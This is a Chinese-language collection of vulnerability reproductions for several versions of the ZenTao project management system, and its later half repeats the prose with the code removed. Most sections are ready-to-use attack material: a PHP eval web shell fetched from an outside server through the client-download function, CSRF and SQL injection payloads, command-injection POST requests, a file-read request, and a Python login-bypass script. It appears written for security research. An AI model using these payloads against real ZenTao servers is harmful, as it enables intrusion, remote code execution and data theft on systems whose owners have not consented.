禅道各版本漏洞复现汇总下篇
字数 1474 2025-08-18 17:33:40

禅道各版本漏洞复现与分析

目录

  1. 禅道12.4.2 CSRF漏洞 (CNVD-2020-68552)
  2. 禅道12.4.2 后台任意文件上传漏洞 (CNVD-C-2020-121325)
  3. 禅道16.5 router.class.php SQL注入漏洞
  4. 禅道v18.0-v18.3 后台命令执行漏洞
  5. 禅道18.5后台命令执行漏洞
  6. 禅道20.7后台任意文件读取漏洞
  7. 禅道21.1开源版SQL注入漏洞
  8. 禅道项目管理系统远程命令执行漏洞 (CNVD-2023-02709)

禅道12.4.2 CSRF漏洞 (CNVD-2020-68552)

漏洞描述

可以针对禅道的部分模块制造恶意URL地址发送给管理员,当管理员登录时会执行模块的恶意请求,可用于进行钓鱼请求。

影响版本

禅道 <= 12.4.2版本

漏洞验证

  1. 查看版本信息:
http://xxx.xxx.xxx.xxx/www/index.php?mode=getconfig
  1. POC制作过程:
原始URL:
http://xxx.xxx.xxx.xxx/www/index.php?m=user&f=login&referer=/www/index.php.m=client&f=download&version=1&link=HTTP://peiqi.tech/SHELL.php

将link参数base64加密:
http://xxx.xxx.xxx.xxx/www/index.php?m=user&f=login&referer=/www/index.php.m=client&f=download&version=1&link=SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw

将referer参数以.做分割base64加密两边字符:
http://xxx.xxx.xxx.xxx/www/index.php?m=user&f=login&referer=L3d3dy9pbmRleC5waHA.bT1jbGllbnQmZj1kb3dubG9hZCZ2ZXJzaW9uPTEmbGluaz1TRlJVVURvdkwzQmxhWEZwTG5SbFkyZ3ZVMGhGVEV3dWNHaHc=

漏洞分析

漏洞位于module/common/model.phpcheckPriv方法中:

public function checkPriv() {
    // ...
    $referer = helper::safe64Encode($this->app->getURI(true));
    die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
}

当调用当前权限不允许的方法时,会进行跳转,并在$referer参数缓存调用的方法URL,当使用这个跳转的地址登录时则会直接调用此方法。

禅道12.4.2 后台任意文件上传漏洞 (CNVD-C-2020-121325)

漏洞描述

登陆管理后台的恶意攻击者可以通过fopen/fread/fwrite方法读取或上传任意文件,成功利用此漏洞可以读取目标系统敏感文件或获得系统管理权限。

影响版本

禅道 <= 12.4.2版本

漏洞复现步骤

  1. 准备恶意文件shell.php
<?php @eval($_POST[1]);echo phpinfo();?>
  1. 启动HTTP服务:
python3 -m http.server 8000
  1. 对URL进行base64编码:
http://127.0.0.1:8000/shell.php → aHR0cDovLzQzLjEzOS42Mi41Njo4MDAwL3NoZWxsLnBocA==
  1. 构造POC URL:
http://123.58.224.8:63713/zentao/client-download-1-aHR0cDovL2QzLjEzOS42Mi31Nzo4MDAwL3NoZWxsLnBocA==-1.html
  1. 访问木马文件:
http://123.58.224.8:63713/zentao/data/client/1/shell.php
  1. 使用蚁剑等工具连接。

禅道16.5 router.class.php SQL注入漏洞

漏洞描述

禅道V16.5未对输入的account参数内容作过滤校验,导致攻击者拼接恶意SQL语句执行。

影响版本

禅道V16.5

POC示例

  1. 延时POC:
http://ip:port/index.php?account=admin' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)-- b
  1. 报错注入:
admin' and updatexml(1,concat(0x7e,(user),0x7e),1) and '1'='1
  1. 使用SQLMap自动化检测:
python sqlmap.py -r request.txt --level=5 --risk=3 --threads=10 --dbms=mysql

禅道v18.0-v18.3 后台命令执行漏洞

漏洞描述

禅道后台存在RCE漏洞,存在于V18.0-18.3之间,漏洞来源于新增加的一个功能模块。

影响版本

禅道V18.0-V18.3

POC示例

POST /zentaopms/www/index.php?m=zahost&f=create HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: zentaosid=fwaf16g51w678678qw686;

vsoft=kvm&hostType=physical&name=penson&extranet=xxx.xxx.xxx.xxx%7Ccalc.exe&cpuCores=2&memory=16&diskSize=16&desc=&uid=640be59da4851&type=z

禅道18.5后台命令执行漏洞

漏洞描述

禅道18.5版本后台存在命令执行漏洞。

影响版本

禅道18.5

POC示例

  1. 第一步请求:
POST /zentaopms/www/index.php?m=custom&f=ajaxSaveCustomFields&module=common§ion=features&key=apiGetModel HTTP/1.1
Host: 192.168.234.128
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: zentaosid=t33hnj6nnkdkjcid7rp3bdl63e;

fields=true
  1. 第二步执行命令:
POST /zentaopms/www/index.php?m=api&f=getModel&moduleName=repo&methodName=checkConnection HTTP/1.1
Host: 192.168.234.128
Content-Type: application/x-www-form-urlencoded
Cookie: zentaosid=t33hnj6nnkdkjcid7rp3bdl63e;

client=calc.exe&SCM=Subversion

禅道20.7后台任意文件读取漏洞

漏洞描述

禅道20.7后台存在任意文件读取漏洞,但只能读取网站目录下的文件。

影响版本

禅道20.7

POC示例

http://192.168.91.1:8017/index.php?m=editor&f=edit&filePath=Li4vLi4vY29uZmlnL215LnBocA==&action=extendOther&isExtends=3

禅道21.1开源版SQL注入漏洞

漏洞描述

禅道21.1 module\search\control.php在againstCond的拼接过程中,每个单词被直接添加到查询条件中,没有进行任何过滤或转义处理。

影响版本

禅道21.1开源版

POC示例

GET /index.php?m=search&f=index&words=1&type=all&zin=1 HTTP/1.1
Host: 192.168.88.6
Cookie: zentaosid=d5ikdmm295l1ca5ec4an8p4f7u;

使用SQLMap检测:

python sqlmap.py -r 1.txt --level=5 --risk=3 --threads=10 --dbms=mysql

禅道项目管理系统远程命令执行漏洞 (CNVD-2023-02709)

漏洞描述

禅道项目管理系统存在远程命令执行漏洞,该漏洞源于在认证过程中未正确退出程序,导致了认证绕过,并且后台中有多种执行命令的方式。

影响版本

  • 开源版:>=17.4,<=18.0.beta1
  • 企业版:>=7.4,<=8.0.beta1
  • 旗舰版:>=3.4,<=4.0.beta1

漏洞复现

  1. 权限绕过代码:
import requests

header = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5408.146 Safari/537.36',
}

def bypasscookie(url,session):
    target = url + "/index.php?m=misc&f=captcha&sessionVar=user"
    r = session.get(target, headers=header)
    zentaosid = r.cookies.get_dict()['zentaosid']
    print(zentaosid)
    header["Cookie"] = "zentaosid=" + zentaosid
    resp = session.get(url + "/index.php?m=my&f=index", headers=header)
    if "/shandao/www/index.php?m=user&f=login" not in resp.text:
        print("绕过登陆验证")
    else:
        print("无法绕过验证")

if __name__ == '__main__':
    url = "http://127.0.0.1:8081/shandao/www/"
    session = requests.Session()
    bypasscookie(url,session)
  1. 后台RCE步骤:
  • 先创建Gitlab代码库,拿到repoID
  • 然后编辑该仓库,在client参数中注入命令
POST /shandao/www/index.php?m=repo&f=edit&repoID=8&objectID=0&tid=rmqcl0ss HTTP/1.1
Host: 127.0.0.1:8081
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: zentaosid=r3094u5448167shtdrur4c7b6q;

product%5B%5D=1&SCM=Subversion&serviceHost=&name=wangnima2333&path=http%3A%2F%2F123.4.5.6&encoding=utf-8&client=%60open+%2FSystem%2FApplications%2FCalculator.app%60&account=&password=&encrypt=base64&desc=&uid=63e4a26b5fd65
禅道各版本漏洞复现与分析 目录 禅道12.4.2 CSRF漏洞 (CNVD-2020-68552) 禅道12.4.2 后台任意文件上传漏洞 (CNVD-C-2020-121325) 禅道16.5 router.class.php SQL注入漏洞 禅道v18.0-v18.3 后台命令执行漏洞 禅道18.5后台命令执行漏洞 禅道20.7后台任意文件读取漏洞 禅道21.1开源版SQL注入漏洞 禅道项目管理系统远程命令执行漏洞 (CNVD-2023-02709) 禅道12.4.2 CSRF漏洞 (CNVD-2020-68552) 漏洞描述 可以针对禅道的部分模块制造恶意URL地址发送给管理员,当管理员登录时会执行模块的恶意请求,可用于进行钓鱼请求。 影响版本 禅道 <= 12.4.2版本 漏洞验证 查看版本信息: POC制作过程: 漏洞分析 漏洞位于 module/common/model.php 的 checkPriv 方法中: 当调用当前权限不允许的方法时,会进行跳转,并在 $referer 参数缓存调用的方法URL,当使用这个跳转的地址登录时则会直接调用此方法。 禅道12.4.2 后台任意文件上传漏洞 (CNVD-C-2020-121325) 漏洞描述 登陆管理后台的恶意攻击者可以通过fopen/fread/fwrite方法读取或上传任意文件,成功利用此漏洞可以读取目标系统敏感文件或获得系统管理权限。 影响版本 禅道 <= 12.4.2版本 漏洞复现步骤 准备恶意文件 shell.php : 启动HTTP服务: 对URL进行base64编码: 构造POC URL: 访问木马文件: 使用蚁剑等工具连接。 禅道16.5 router.class.php SQL注入漏洞 漏洞描述 禅道V16.5未对输入的account参数内容作过滤校验,导致攻击者拼接恶意SQL语句执行。 影响版本 禅道V16.5 POC示例 延时POC: 报错注入: 使用SQLMap自动化检测: 禅道v18.0-v18.3 后台命令执行漏洞 漏洞描述 禅道后台存在RCE漏洞,存在于V18.0-18.3之间,漏洞来源于新增加的一个功能模块。 影响版本 禅道V18.0-V18.3 POC示例 禅道18.5后台命令执行漏洞 漏洞描述 禅道18.5版本后台存在命令执行漏洞。 影响版本 禅道18.5 POC示例 第一步请求: 第二步执行命令: 禅道20.7后台任意文件读取漏洞 漏洞描述 禅道20.7后台存在任意文件读取漏洞,但只能读取网站目录下的文件。 影响版本 禅道20.7 POC示例 禅道21.1开源版SQL注入漏洞 漏洞描述 禅道21.1 module\search\control.php在againstCond的拼接过程中,每个单词被直接添加到查询条件中,没有进行任何过滤或转义处理。 影响版本 禅道21.1开源版 POC示例 使用SQLMap检测: 禅道项目管理系统远程命令执行漏洞 (CNVD-2023-02709) 漏洞描述 禅道项目管理系统存在远程命令执行漏洞,该漏洞源于在认证过程中未正确退出程序,导致了认证绕过,并且后台中有多种执行命令的方式。 影响版本 开源版:>=17.4, <=18.0.beta1 企业版:>=7.4, <=8.0.beta1 旗舰版:>=3.4, <=4.0.beta1 漏洞复现 权限绕过代码: 后台RCE步骤: 先创建Gitlab代码库,拿到repoID 然后编辑该仓库,在client参数中注入命令